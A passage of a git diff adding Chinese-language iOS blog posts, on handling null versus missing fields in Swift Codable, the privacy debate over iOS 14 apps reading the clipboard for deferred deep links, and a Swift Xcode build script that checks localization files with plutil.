裡,如果資料已存在就更新變動的欄位資料(incremental update)。 + + +> _但此時問題就出現了:Codable Decode 換成 Entity Object 後我們無法區別 **「資料欄位是想要設成 nil」 還是 「Response 沒給」**_ + + + + +``` +A Response: +{ + "id": 1, + "file": null +} +``` + +對於 A Response、B Response 的 file 來說都是 null 、但意義不一一樣 ;A 是想把 file 欄位設為 null \(清空原本資料\)、 B 是想 update 其他資料,單純沒給 file 欄位而已。 + + +> Swift 社群有開發者提出 [增加類似 date Strategy 的 null Strategy 在 JSONDecoder 中](https://forums.swift.org/t/pitch-jsondecoder-nulldecodingstrategy/13980){:target="_blank"} ,讓我們能區分以上狀況,但目前沒有計畫要加入。 + + + + +#### 解決方案 + +如前所述,我們的架構是JSON String \-> Entity Object \-> NSManagedObject,所以當拿到 Entity Object 時已經是 Decode 後的結果了,沒有 raw data 可以操作;這邊當然可以拿原始 JSON String 比對操作,但與其這樣不如不要用 Codable。 + +首先參考 [上一篇](../1aa2f8445642/) 使用 Associated Value Enum 當容器裝值。 +```swift +enum OptionalValue: Decodable { + case null + case value(T) + init(from decoder: Decoder) throws { + let container = try decoder.singleValueContainer() + if let value = try? container.decode(T.self) { + self = .value(value) + } else { + self = .null + } + } +} +``` + +使用泛型,T 為真實資料欄位型別;\.value\(T\) 能放 Decode 出來的值、\.null 則代表值是 null。 +```swift +struct Song: Decodable { + enum CodingKeys: String, CodingKey { + case id + case file + } + + var id: Int + var file: OptionalValue? + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + + self.id = try container.decode(Int.self, forKey: .id) + + if container.contains(.file) { + self.file = try container.decode(OptionalValue.self, forKey: .file) + } else { + self.file = nil + } + } +} + +var jsonData = """ +{ + "id":1 +} +""".data(using: .utf8)! +var result = try! JSONDecoder().decode(Song.self, from: jsonData) +print(result) + +jsonData = """ +{ + "id":1, + "file":null +} +""".data(using: .utf8)! +result = try! JSONDecoder().decode(Song.self, from: jsonData) +print(result) + +jsonData = """ +{ + "id":1, + "file":\"https://test.com/m.mp3\" +} +""".data(using: .utf8)! +result = try! JSONDecoder().decode(Song.self, from: jsonData) +print(result) +``` + + +> _範例先簡化成只有 `id` 、 `file` 兩個資料欄位。_ + + + + + +Song Entity 自行複寫實踐 Decode 方式,使用 `contains(.KEY)` 方法判斷 Response 有無給該欄位\(無論值是什麼\),如果有就 Decode 成 OptionalVale ;OptionalValue Enum 中會再對真正我們要的值做 Decode ,如果有值 Decode 成功則會放在 \.value\(T\) 、如果給的值是 null \(或 decode 失敗\)則放在 \.null 。 +1. Response 有給欄位&值時:OptionalValue\.value\(VALUE\) +2. Response 有給欄位&值是 null 時:OptionalValue\.null +3. Response 沒給欄位時:nil + + + +> _這樣就能區分出是有給欄位還是沒給欄位,後續要寫入 Core Data 時就能判斷是要更新欄位成 null、還是沒有要更新此欄位。_ + + + + +#### 其他研究 — Double Optional ❌ + +Optional\!Optional\! 在 Swift 上就很適合處理這個場景。 +```swift +struct Song: Decodable { + var id: Int + var name: String?? + var file: String?? + var converImage: String?? + var likeCount: Int?? + var like: Bool?? + var length: Int?? +} +``` +1. Response 有給欄位&值時:Optional\(VALUE\) +2. Response 有給欄位&值是 null 時:Optional\(nil\) +3. Response 沒給欄位時:nil + + +但是…\.Codable JSONDecoder Decode 對 Double Optional 跟 Optional 都是 decodeIfPresent 在處理,都視為 Optional ,不會特別處理 Double Optional;所以結果跟原本一樣。 +#### 其他研究 — Property Wrapper ❌ + +本來預想可以用 Property Wrapper 做優雅的封裝,例如: +```swift +@OptionalValue var file: String? +``` + +但還沒開始研究細節就發現有 Property Wrapper 標記的 Codable Property 欄位,API Response 就必須要有該欄位,否則會出現 keyNotFound error,即使該欄位是 Optional。????? + +官方論壇也有針對此問題的 [討論串](https://forums.swift.org/t/using-property-wrappers-with-codable/29804){:target="_blank"} …估計之後會修正。 + + +> 所以選用 [BetterCodable](https://github.com/marksands/BetterCodable){:target="_blank"} 、 [CodableWrappers](https://github.com/GottaGetSwifty/CodableWrappers){:target="_blank"} 這類套件的時候要考慮到目前 Property Wrapper 的這個問題。 + + + + +### 其他問題場景 +#### 1\.API Response 使用 0/1 代表 Bool,該如何 Decode? +```swift +import Foundation + +struct Song: Decodable { + enum CodingKeys: String, CodingKey { + case id + case name + case like + } + + var id: Int + var name: String? + var like: Bool? + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + self.id = try container.decode(Int.self, forKey: .id) + self.name = try container.decodeIfPresent(String.self, forKey: .name) + + if let intValue = try container.decodeIfPresent(Int.self, forKey: .like) { + self.like = (intValue == 1) ? true : false + } else if let boolValue = try container.decodeIfPresent(Bool.self, forKey: .like) { + self.like = boolValue + } + } +} + +var jsonData = """ +{ + "id": 1, + "name": "告五人", + "like": 0 +} +""".data(using: .utf8)! +var result = try! JSONDecoder().decode(Song.self, from: jsonData) +print(result) +``` + +延伸前篇,我們可以自己在 init Decode 中,Decode 成 int/Bool 然後自己賦值、這樣就能擴充原本的欄位能接受 0/1/true/false了。 +#### 2\.不想要每每都要重寫 init decoder + +在不想要自幹 Decoder 的情況下,複寫原本的 JSON Decoder 擴充更多功能。 + +我們可以自行 extenstion [KeyedDecodingContainer](https://developer.apple.com/documentation/swift/keyeddecodingcontainer){:target="_blank"} 對 public 方法自行定義,swift 會優先執行 module 下我們重定義的方法,複寫掉原本 Foundation 的實作。 + + +> **_影響的就是整個 module。_** + + +> **_且不是真的 override,無法 call super\.decode,也要小心不要自己 call 自己\(EX: decode\(Bool\.Type,for:key\) in decode\(Bool\.Type,for:key\) \)_** + + + + + +**decode 有兩個方法:** +- **decode\(Type, forKey:\)** 處理非 Optional 資料欄位 +- **decodeIfPresent\(Type, forKey:\)** 處理 Optional 資料欄位 + + +**範例1\. 前述的主要問題就我們可以直接 extenstion:** +```swift +extension KeyedDecodingContainer { + public func decodeIfPresent(_ type: T.Type, forKey key: Self.Key) throws -> T? where T : Decodable { + //better: + switch type { + case is OptionalValue.Type, + is OptionalValue.Type: + return try? decode(type, forKey: key) + default: + return nil + } + // or just return try? decode(type, forKey: key) + } +} + +struct Song: Decodable { + var id: Int + var file: OptionalValue? +} +``` + +因主要問題是 Optional 資料欄位、Decodable 類型,所以我們複寫的是 decodeIfPresent 這個方法。 + +這邊推測原本 decodeIfPresent 的實作是,如果資料是 null 或 Response 未給 會直接 return nil,並不會真的跑 decode。 + +所以原理也很簡單,只要 Decodable Type 是 OptionValue 則不論如何都 decode 看看,我們才能拿到不同狀態結果;但其實不判斷 Decodable Type 也行,那就是所有 Optional 欄位都會試著 Decode。 + +**範例2\. 問題場景1 也能用此方法擴充:** +```swift +extension KeyedDecodingContainer { + public func decodeIfPresent(_ type: Bool.Type, forKey key: KeyedDecodingContainer.Key) throws -> Bool? { + if let intValue = try? decodeIfPresent(Int.self, forKey: key) { + return (intValue == 1) ? (true) : (false) + } else if let boolValue = try? decodeIfPresent(Bool.self, forKey: key) { + return boolValue + } + return nil + } +} + +struct Song: Decodable { + enum CodingKeys: String, CodingKey { + case id + case name + case like + } + + var id: Int + var name: String? + var like: Bool? +} + +var jsonData = """ +{ + "id": 1, + "name": "告五人", + "like": 1 +} +""".data(using: .utf8)! +var result = try! JSONDecoder().decode(Song.self, from: jsonData) +print(result) +``` +### 結語 + +Codable 在使用上的各種奇技淫巧都用的差不多了,有些其實很繞,因為 Codable 的約束性實在太強、犧牲許多現實開發上需要的彈性;做到最後甚至開始思考為何當初要選擇 Codable,優點越做越少…\. +#### 參考資料 +- [或许你并不需要重写 init\(from:\)方法](https://kemchenj.github.io/2018-07-09/){:target="_blank"} + +### 回看 +- [現實使用 Codable 上遇到的 Decode 問題場景總匯\(上\)](../1aa2f8445642/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E7%8F%BE%E5%AF%A6%E4%BD%BF%E7%94%A8-codable-%E4%B8%8A%E9%81%87%E5%88%B0%E7%9A%84-decode-%E5%95%8F%E9%A1%8C%E5%A0%B4%E6%99%AF%E7%B8%BD%E5%8C%AF-%E4%B8%8B-cb00b1977537){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-07-02-8a04443024e2.md b/_posts/zmediumtomarkdown/2020-07-02-8a04443024e2.md new file mode 100644 index 000000000..070fff8f8 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-07-02-8a04443024e2.md @@ -0,0 +1,187 @@ +--- +title: "iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難" +author: "ZhgChgLi" +date: 2020-07-02T13:51:36.337+0000 +last_modified_at: 2024-04-13T08:31:53.905+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","ios-14","hacking","security"] +description: "為何那麼多 iOS APP 會讀取你的剪貼簿?" +image: + path: /assets/8a04443024e2/1*wM7qHRz14k95BGZk769zIw.jpeg +render_with_liquid: false +--- + +### iOS 14 剪貼簿竊資恐慌,隱私與便利的兩難 + +為何那麼多 iOS APP 會讀取你的剪貼簿? + + + +![Photo by [Clint Patterson](https://unsplash.com/@cbpsc1?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/8a04443024e2/1*wM7qHRz14k95BGZk769zIw.jpeg) + +Photo by [Clint Patterson](https://unsplash.com/@cbpsc1?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### ⚠️ 2022/07/22 Update: iOS 16 Upcoming Changes + +iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。 + + +![[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}](/assets/8a04443024e2/0*pOtqMDY0qXhDJXXG.png) + +[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"} +### 議題 + + +![剪貼簿被 APP 讀取時的頂部提示訊息](/assets/8a04443024e2/1*s-2FT2L_BD8vGH7uHRLrsw.png) + +剪貼簿被 APP 讀取時的頂部提示訊息 + +iOS 14 開始會提示使用者 APP 讀取了您的剪貼簿,尤其中國大陸的 APP 本來就惡名昭彰,再加上媒體不斷的放大報導,造成不小的隱私恐慌;但其實不只中國 APP, [美國](https://www.reddit.com/r/iphone/comments/hejp5o/popular_apps_tiktok_npr_nyt_and_more_spying_on/){:target="_blank"} 、台灣、日本…世界各地很多大大小小的 APP 全都現形,那到底是為了什麼那麼多 APP 都需要讀取剪貼簿呢? + + +![Google Search](/assets/8a04443024e2/1*bwxJ9w2WVJy8HT20vdj7eA.png) + +Google Search +### 安全 + +剪貼簿可能包含個人隱私甚至密碼,如使用 1Password、LastPass…等密碼管理器複製密碼;APP 有能力讀取到就有能力回傳回伺服器記錄,一切看開發者的良心,真要查的話可透過使用 [中間人嗅探](../46410aaada00/) ,監聽 APP 回傳回伺服器的資料,是否包含剪貼簿資訊。 +### 淵源 + +[剪貼簿 API](https://developer.apple.com/documentation/uikit/uipasteboard){:target="_blank"} ,從 iOS 3 2009 年開始就有,只是從 iOS 14 開始會多跳提示告知使用者而已,中間已過十餘年,如果是惡意的 APP 也收集夠足夠的資料了。 +### 為何 + +為何那麼多 APP 不論國內外都會在 **打開時** 讀取剪貼簿呢? + +這邊要先定義一下,我說的情況是 **「APP 打開時」** ,而不是 APP 使用中讀取剪貼簿;APP 使用中讀取的情況比較偏是 APP 內的功能應用,像是 Goolge Map 自動貼上剛複製的地址、但也不排除有的 APP 會不斷偷取剪貼簿資訊。 + + +> 「一把菜刀可以切菜也可以殺人,取決於用的人拿來做什麼」 + + + + + +![](/assets/8a04443024e2/1*nMC1H2vRId1Y-7iC3WusaQ.jpeg) + + +APP 打開時會讀取剪貼簿主要原因是要做「 [iOS Deferred Deep Link](../b08ef940c196/) 」 **加強使用者體驗** ,如上流程所示;當一個產品同時提供網頁及APP時,我們更希望使用者能安裝 APP(因黏著度更高),所以當使用者瀏覽網頁版網站時會導引下載 APP,但我們希望下載完開啟 APP 會自動打開網頁離開時的頁面。 + + +> _EX: 當我在 safari 逛 PxHome 手機網頁版 \-> 看到喜歡的產品想要購買 \-> PxHome 希望流量導 APP \-> 下載 APP \-> 打開 APP \-> 展現剛網頁看到的商品_ + + + + + +如果不這樣做,使用者只能 1\. 回到網頁上再點一次 2\. 在 APP 內重新搜尋一次產品;不管 1 還是 2 都會增加使用者購買上的困難及猶豫時間,可能就不買了! + +另一方面以營運來說,知道從哪個來源成功安裝的統計,對行銷、廣告預算投放都有很大的幫助。 +#### 為何一定要用剪貼簿,有無其他替代方式? + +這是場 **貓鼠遊戲** ,因為 iOS 蘋果本身不希望開發者有辦法反向追蹤使用者來源,iOS 9 之前的做法是將資訊存入網頁 Cookie,APP 安裝完後再讀取 Cookie 出來用,iOS 10 之後這條路被蘋果封住無法使用;退無可退大家才使用最終技 — 「用剪貼簿傳資訊」來達成,iOS 14 再次遞出新招,提示使用者讓開發者尷尬。 + +另一條路是使用 [Branch\.io](https://branch.io/){:target="_blank"} 的方式,記錄使用者輪廓\(IP、手機資訊\),然後用搓合的方式讀取資訊,原理上可行,但需要投入大量人力\(牽涉到後端、資料庫、APP\)去研究實作,且可能會誤判或碰撞。 + + +> _\*對面的 Android Google 原本就支援此功能,不用像 iOS 這樣繞來繞去。_ + + + + +#### 受影響的 APP + +可能很多 APP 開發者都不知道自己也出現剪貼簿隱私問題,因為 Google 的 Firebase Dynamic Links 服務也是使用同樣的原理實現: +```javascript +// Reason for this string to ensure that only FDL links, copied to clipboard by AppPreview Page +// JavaScript code, are recognized and used in copy-unique-match process. If user copied FDL to +// clipboard by himself, that link must not be used in copy-unique-match process. +// This constant must be kept in sync with constant in the server version at +// durabledeeplink/click/ios/click_page.js +``` + + +> 所以任何有使用到 Google Firebase Dynamic Links 服務的 APP 都可能中槍剪貼簿隱私問題! + + + +### 個人觀點 + +資安問題是有的,但就是「 **信任」** ,信任開發者是拿來做正確的事;如果開發者要做惡,有更多的地方可以做惡,例如:偷取信用卡資訊、偷記錄真實密碼…等等,都要比這個有效的多。 + + +> 提示的用途就是讓使用者能注意到剪貼簿讀取的時間點,如果不合理就要小心! + + + +#### 讀者提問 + +Q:「TikTok 回應存取剪貼簿是為了偵測濫發垃圾訊息的行為」這種說法是正確的嗎? + +A:我個人認為只是找個理由搪塞輿論,抖音的意思應該是「為了防止使用者四處複製貼上廣告訊息」;但實際可以在訊息輸入完成時或是送出訊息時再做阻擋過濾,沒必要時時監聽使用者剪貼簿的資訊!難道剪貼簿有廣告或「敏感」訊息也要管?我又沒貼上發表出去。 +### 開發者能做的事 + +若手邊沒有備用機可升級 iOS 14 測試,可先從 [Apple 下載 XCode 12](https://developer.apple.com/download/more/){:target="_blank"} 用模擬器測看看。 + +一切都還太新,如果你是串 Firebase 可以先參考 [Firebase\-iOS\-SDK/Issue \#5893](https://github.com/firebase/firebase-ios-sdk/issues/5893){:target="_blank"} 更新到最新的 SDK。 + +如果是自己實作 DeepLink 可以參考 Firebase\-iOS\-SDK [\#PR 5905](https://github.com/firebase/firebase-ios-sdk/pull/5905){:target="_blank"} 的修改: + +Swift: +```swift +if #available(iOS 10.0, *) { + if (UIPasteboard.general.hasURLs) { + //UIPasteboard.general.string + } +} else { + //UIPasteboard.general.string +} +``` + +Objective\-C: +```c +if (@available(iOS 10.0, *)) { + if ([[UIPasteboard generalPasteboard] hasURLs]) { + //[UIPasteboard generalPasteboard].string; + } + } else { + //[UIPasteboard generalPasteboard].string; + } + return pasteboardContents; +} +``` + +先檢查剪貼簿內容是否為網址(配合網頁 JavaScript 複製的內容是網址帶參數)是才讀取,就不會每次開啟 APP 都跳剪貼簿被讀取。 + + +> _目前只能如此,提示跳還是會跳,就只是讓他更聚焦一點_ + + + + + +另外蘋果也增加了新的 API: [DetectPattern](https://developer.apple.com/documentation/uikit/uipasteboard/3621870-detectpatternsforpatterns?changes=latest_minor&language=objc){:target="_blank"} ,幫助開發者能更精確判斷剪貼簿資訊是我們要的,然後再讀取,再跳提示,使用者能更安心、開發者也能繼續使用此功能。 + + +> _DetectPattern 也還在 Beta、且僅能使用 Objective\-C 實作。_ + + + + +#### 或是… +- 改用 [Branch\.io](https://branch.io){:target="_blank"} +- 自行實作 Branch\.io 的原理 +- **APP 先跳客製化 Alert 告知使用者,再讀取剪貼簿(讓使用者安心)** +- 加入新隱私權條款 +- **iOS 14 最新的 App Clips?,網頁 \-> 導 App Clips 輕量使用 \-> 深入操作導 APP** + +#### 延伸閱讀 +- [iOS Deferred Deep Link 延遲深度連結實作\(Swift\)](../b08ef940c196/) +- [iOS\+MacOS 使用mitmproxy 進行中間人嗅探](../46410aaada00/) +- [iOS 15 / MacOS Monterey Safari 將能隱藏真實 IP](https://medium.com/zrealm-ios-dev/ios-15-macos-monterey-safari-%E5%B0%87%E8%83%BD%E9%9A%B1%E8%97%8F%E7%9C%9F%E5%AF%A6-ip-755a8b6acc35){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-14-%E5%89%AA%E8%B2%BC%E7%B0%BF%E7%AB%8A%E8%B3%87%E6%81%90%E6%85%8C-%E9%9A%B1%E7%A7%81%E8%88%87%E4%BE%BF%E5%88%A9%E7%9A%84%E5%85%A9%E9%9B%A3-8a04443024e2){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-09-17-41c49a75a743.md b/_posts/zmediumtomarkdown/2020-09-17-41c49a75a743.md new file mode 100644 index 000000000..0c4f4b658 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-09-17-41c49a75a743.md @@ -0,0 +1,875 @@ +--- +title: "Xcode 直接使用 Swift 撰寫 Run Script!" +author: "ZhgChgLi" +date: 2020-09-17T15:53:20.026+0000 +last_modified_at: 2024-04-13T08:35:25.885+0000 +categories: "ZRealm Dev." +tags: ["ios","shell-script","xcode","ios-app-development","toolkit"] +description: "導入 Localization 多語系及 Image Assets 缺漏檢查、使用 Swift 打造 Run Script 腳本" +image: + path: /assets/41c49a75a743/1*RU89TcfRAR5mmclMX9x57w.jpeg +render_with_liquid: false +--- + +### Xcode 直接使用 Swift 撰寫 Shell Script! + +導入 Localization 多語系及 Image Assets 缺漏檢查、使用 Swift 打造 Shell Script 腳本 + + + +![Photo by [Glenn Carstens\-Peters](https://unsplash.com/@glenncarstenspeters?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/41c49a75a743/1*RU89TcfRAR5mmclMX9x57w.jpeg) + +Photo by [Glenn Carstens\-Peters](https://unsplash.com/@glenncarstenspeters?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 緣由 + +因為自己手殘,時常在編輯多語系檔案時遺漏「;」導致 app build 出來語言顯示出錯再加上隨著開發的推移語系檔案越來越龐大,重複的、已沒用到的語句都夾雜再一起,非常混亂(Image Assets 同樣狀況)。 + +一直以來都想找工具協助處理這方面的問題,之前是用 [iOSLocalizationEditor](https://github.com/igorkulman/iOSLocalizationEditor){:target="_blank"} 這個 Mac APP,但它比較像是語系檔案編輯器,讀取語系檔案內容&編輯,沒有自動檢查的功能。 +### 期望功能 + +build 專案時能自動檢查多語系有無錯誤、缺露、重複、Image Assets 有無缺漏。 +### 解決方案 + +要達到我們的期望功能就要在 Build Phases 加入 Run Script 檢查腳本。 + +但檢查腳本需要使用 shell script 撰寫,因自己對 shell script 的掌握度並不太高,想說站在巨人的肩膀上從網路搜尋現有腳本也找不太到完全符合期望功能的 script,再快要放棄的時候突然想到: + + +> **Shell Script 可以用 Swift 來寫啊** ! + + + + +相對 shell script 來說更熟悉、掌握度更高!依照這個方向果然讓我找到兩個現有的工具腳本! + +由 [freshOS](https://freshos.github.io/){:target="_blank"} 這個團隊撰寫的兩個檢查工具: +- [**Localize 🏁**](https://github.com/freshOS/Localize){:target="_blank"} +- [**Asset Checker 👮**](https://github.com/s4cha/AssetChecker){:target="_blank"} + + +完全符合我們的期望功能需求\! \! 並且他們使用 swift 撰寫,要客製化魔改都很容易。 +#### [Localize 🏁](https://github.com/freshOS/Localize){:target="_blank"} 多語系檔檢查工具 + +**功能:** +- build 時自動檢查 +- 語系檔自動排版、整理 +- 檢查多語系與主要語系之缺漏、多餘 +- 檢查多語系重複語句 +- 檢查多語系未經翻譯語句 +- 檢查多語系未使用的語句 + + +**安裝方法:** +1. [下載工具的 Swift Script 檔案](https://github.com/freshOS/Localize/blob/master/Localize.swift){:target="_blank"} +2. 放到專案目錄下 EX: `${SRCROOT}/Localize.swift` +3. 打開專案設定 → iOS Target → Build Phases →左上角「\+」 → New Run Script Phases → 在 Script 內容貼上路徑 EX: `${SRCROOT}/Localize.swift` + + + +![](/assets/41c49a75a743/1*k2OHjrcQaQIWLqV7G57TgA.png) + + +4\. 使用 Xcode 打開編輯 `Localize.swift` 檔案進行設定,可以在檔案上半部看到可更動的設定項目: +```swift +//啟用檢查腳本 +let enabled = true + +//語系檔案目錄 +let relativeLocalizableFolders = "/Resources/Languages" + +//專案目錄(用來搜索語句有沒有在程式碼中使用到) +let relativeSourceFolder = "/Sources" + +//程式碼中的 NSLocalized 語系檔案使用正規匹配表示法 +//可自行增加、無需變動 +let patterns = [ + "NSLocalized(Format)?String\\(\\s*@?\"([\\w\\.]+)\"", // Swift and Objc Native + "Localizations\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\.[A-Z]{1}[a-z]*[A-z]*)*)", // Laurine Calls + "L10n.tr\\(key: \"(\\w+)\"", // SwiftGen generation + "ypLocalized\\(\"(.*)\"\\)", + "\"(.*)\".localized" // "key".localized pattern +] + +//要忽略「語句未使用警告」的語句 +let ignoredFromUnusedKeys: [String] = [] +/* example +let ignoredFromUnusedKeys = [ + "NotificationNoOne", + "NotificationCommentPhoto", + "NotificationCommentHisPhoto", + "NotificationCommentHerPhoto" +] +*/ + +//主要語系 +let masterLanguage = "en" + +//開啟與係檔案a-z排序、整理功能 +let sanitizeFiles = false + +//專案是單一or多語系 +let singleLanguage = false + +//啟用檢查未翻譯語句功能 +let checkForUntranslated = true +``` + +5\. Build!成功! + + +![](/assets/41c49a75a743/1*74osParg9RRi2gcRx9ELuw.png) + + +**檢查結果提示類型:** +- **Build Error** ❌ **:** +\- \[Duplication\] 項目在語系檔案內存在重複 +\- \[Unused Key\] 項目在語系檔案內有定義,但實際程式中未使用到 +\- \[Missing\] 項目在語系檔案內未定義,但實際程式中有使用到 +\- \[Redundant\] 項目在此語系檔相較於主要語系檔是多餘的 +\- \[Missing Translation\] 項目在主要語系檔有,但在此語系檔缺漏 +- **Build Warning** ⚠️ **:** +\- \[Potentially Untranslated\] 此項目未經翻譯(與主語系檔項目內容相同) + + + +> **_還沒結束,現在自動檢查提示有了,但我們還需要自行魔改一下。_** + + + + + +**客製化匹配正規表示:** + +回頭看檢查腳本 `Localize.swift` 頂部設定區塊 patterns 部分的第一項: + +`"NSLocalized(Format)?String\\(\\s*@?\"([\\w\\.]+)\""` + +匹配 Swift/ObjC的 `NSLocalizedString()` 方法,這個正規表示式只能匹配 `"Home.Title"` 這種格式的語句;假設我們是完整句子或有帶 Format 參數,則會被當誤當成 \[Unused Key\]。 + +EX: `"Hi, %@ welcome to my app"、"Hello World!"` **<\- 這些語句都無法匹配** + +我們可以新增一條 patterns 設定、或更改原本的 patterns 成: + +`"NSLocalized(Format)?String\\(\\s*@?\"([^(\")]+)\""` + +主要是調整 `NSLocalizedString` 方法後的匹配語句,變成取任意字串直到 `"` 出現就中止,你也可以 [點此](https://rubular.com/r/5eXvGy3svsAHyT){:target="_blank"} 依照自己的需求進行客製。 + +**加上語系檔案格式檢查功能:** + +此腳本僅針對語系檔做內容對應檢查,不會檢查檔案格式是否正確(是否有忘記加「 **;** 」),如果需要這個功能要自己加上! +```swift +//.... +let formatResult = shell("plutil -lint \(location)") +guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == "OK" else { + let str = "\(path)/\(name).lproj" + + "/Localizable.strings:1: " + + "error: [File Invaild] " + + "This Localizable.strings file format is invalid." + print(str) + numberOfErrors += 1 + return +} +//.... + +func shell(_ command: String) -> String { + let task = Process() + let pipe = Pipe() + + task.standardOutput = pipe + task.arguments = ["-c", command] + task.launchPath = "/bin/bash" + task.launch() + + let data = pipe.fileHandleForReading.readDataToEndOfFile() + let output = String(data: data, encoding: .utf8)! + + return output +} +``` + +增加 `shell()` 執行 shell script,使用 `plutil -lint` 檢查 plist 語系檔案格式正確性,有錯、少「;」會回傳錯誤,沒錯會回傳 `OK` 以此作為判斷! + +檢查的地方可加在 LocalizationFiles\->process\( \) \-> `let location = singleLanguage…` 後,約 135 行的地方或參考我最後提供的完整魔改版。 + +**其他客製化:** + +我們可以依照自己的需求進行客製,例如把 error 換成 warning 或是拔掉某個檢查功能 \(EX: Potentially Untranslated、Unused Key\);腳本就是 swift 我們都很熟悉!不怕改壞改錯! + +要讓 build 時出現 Error ❌: +``` +print("Project檔案.lproj" + "/檔案:行: " + "error: 錯誤訊息") +``` + +要讓 build 時出現 Warning ⚠️: +``` +print("Project檔案.lproj" + "/檔案:行: " + "warning: 警告訊息") +``` + +**最終魔改版:** +```swift +#!/usr/bin/env xcrun --sdk macosx swift + +import Foundation + +// WHAT +// 1. Find Missing keys in other Localisation files +// 2. Find potentially untranslated keys +// 3. Find Duplicate keys +// 4. Find Unused keys and generate script to delete them all at once + +// MARK: Start Of Configurable Section + +/* + You can enable or disable the script whenever you want + */ +let enabled = true + +/* + Put your path here, example -> Resources/Localizations/Languages + */ +let relativeLocalizableFolders = "/streetvoice/SupportingFiles" + +/* + This is the path of your source folder which will be used in searching + for the localization keys you actually use in your project + */ +let relativeSourceFolder = "/streetvoice" + +/* + Those are the regex patterns to recognize localizations. + */ +let patterns = [ + "NSLocalized(Format)?String\\(\\s*@?\"([^(\")]+)\"", // Swift and Objc Native + "Localizations\\.((?:[A-Z]{1}[a-z]*[A-z]*)*(?:\\.[A-Z]{1}[a-z]*[A-z]*)*)", // Laurine Calls + "L10n.tr\\(key: \"(\\w+)\"", // SwiftGen generation + "ypLocalized\\(\"(.*)\"\\)", + "\"(.*)\".localized" // "key".localized pattern +] + +/* + Those are the keys you don't want to be recognized as "unused" + For instance, Keys that you concatenate will not be detected by the parsing + so you want to add them here in order not to create false positives :) + */ +let ignoredFromUnusedKeys: [String] = [] +/* example +let ignoredFromUnusedKeys = [ + "NotificationNoOne", + "NotificationCommentPhoto", + "NotificationCommentHisPhoto", + "NotificationCommentHerPhoto" +] +*/ + +let masterLanguage = "base" + +/* + Sanitizing files will remove comments, empty lines and order your keys alphabetically. + */ +let sanitizeFiles = false + +/* + Determines if there are multiple localizations or not. + */ +let singleLanguage = false + +/* + Determines if we should show errors if there's a key within the app + that does not appear in master translations. +*/ +let checkForUntranslated = false + +// MARK: End Of Configurable Section + +if enabled == false { + print("Localization check cancelled") + exit(000) +} + +// Detect list of supported languages automatically +func listSupportedLanguages() -> [String] { + var sl: [String] = [] + let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders + if !FileManager.default.fileExists(atPath: path) { + print("Invalid configuration: \(path) does not exist.") + exit(1) + } + let enumerator = FileManager.default.enumerator(atPath: path) + let extensionName = "lproj" + print("Found these languages:") + while let element = enumerator?.nextObject() as? String { + if element.hasSuffix(extensionName) { + print(element) + let name = element.replacingOccurrences(of: ".\(extensionName)", with: "") + sl.append(name) + } + } + return sl +} + +let supportedLanguages = listSupportedLanguages() +var ignoredFromSameTranslation: [String: [String]] = [:] +let path = FileManager.default.currentDirectoryPath + relativeLocalizableFolders +var numberOfWarnings = 0 +var numberOfErrors = 0 + +struct LocalizationFiles { + var name = "" + var keyValue: [String: String] = [:] + var linesNumbers: [String: Int] = [:] + + init(name: String) { + self.name = name + process() + } + + mutating func process() { + if sanitizeFiles { + removeCommentsFromFile() + removeEmptyLinesFromFile() + sortLinesAlphabetically() + } + let location = singleLanguage ? "\(path)/Localizable.strings" : "\(path)/\(name).lproj/Localizable.strings" + + let formatResult = shell("plutil -lint \(location)") + guard formatResult.trimmingCharacters(in: .whitespacesAndNewlines).suffix(2) == "OK" else { + let str = "\(path)/\(name).lproj" + + "/Localizable.strings:1: " + + "error: [File Invaild] " + + "This Localizable.strings file format is invalid." + print(str) + numberOfErrors += 1 + return + } + + guard let string = try? String(contentsOfFile: location, encoding: .utf8) else { + return + } + + let lines = string.components(separatedBy: .newlines) + keyValue = [:] + + let pattern = "\"(.*)\" = \"(.+)\";" + let regex = try? NSRegularExpression(pattern: pattern, options: []) + var ignoredTranslation: [String] = [] + + for (lineNumber, line) in lines.enumerated() { + let range = NSRange(location: 0, length: (line as NSString).length) + + // Ignored pattern + let ignoredPattern = "\"(.*)\" = \"(.+)\"; *\\/\\/ *ignore-same-translation-warning" + let ignoredRegex = try? NSRegularExpression(pattern: ignoredPattern, options: []) + if let ignoredMatch = ignoredRegex?.firstMatch(in: line, + options: [], + range: range) { + let key = (line as NSString).substring(with: ignoredMatch.range(at: 1)) + ignoredTranslation.append(key) + } + + if let firstMatch = regex?.firstMatch(in: line, options: [], range: range) { + let key = (line as NSString).substring(with: firstMatch.range(at: 1)) + let value = (line as NSString).substring(with: firstMatch.range(at: 2)) + + if keyValue[key] != nil { + let str = "\(path)/\(name).lproj" + + 